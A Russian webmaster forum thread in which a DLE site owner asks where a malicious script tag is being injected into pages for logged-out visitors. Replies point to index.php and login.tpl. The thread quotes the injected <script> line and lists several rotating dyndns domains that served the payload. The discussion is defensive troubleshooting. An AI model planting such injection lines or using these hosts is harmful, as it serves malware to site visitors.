Форум Сайтостроение Веб-строительство

вопрос по dle (вирус)

K5
На сайте с 21.07.2010
Offline
209
kgtu5
672

на сайте подставляют этот код перед <!DOCTYPE HTML

<script src="http://pizdec-near-2013. dyndns. tv/live255.php" type="text/javascript">

подставляется только когда не авторизован на сайте

в main.tpl, engine.php, init.php ничего похожего нет

где еще может быть?

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
дани мапов
На сайте с 06.09.2012
Offline
204
дани мапов
#1

index.php ?

Написание и доработка скриптов (PHP, MySQL, JavaScript, jQuery) (/ru/forum/811046)
K5
На сайте с 21.07.2010
Offline
209
kgtu5
#2

тоже пока нет, возможно не то ищу, скрипт меняет урл время от времени

http://profileronner. dyndns. tv/live255.php



---------- Добавлено 14.01.2013 в 15:26 ----------

в инете встречаются еще такие варианты

define-variable. dyndns. biz/live255.php
fiher-hops. dyndns. biz
garamt-ssl. dyndns. biz
new-beats. dyndns. tv
shuresm81. dyndns. tv
ttllvl12. dyndns. biz
siv1987
На сайте с 02.04.2009
Offline
427
siv1987
#3

В любом файле который отрабатывает в данном случае. php еще исполнялся в файле шаблона login.tpl

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий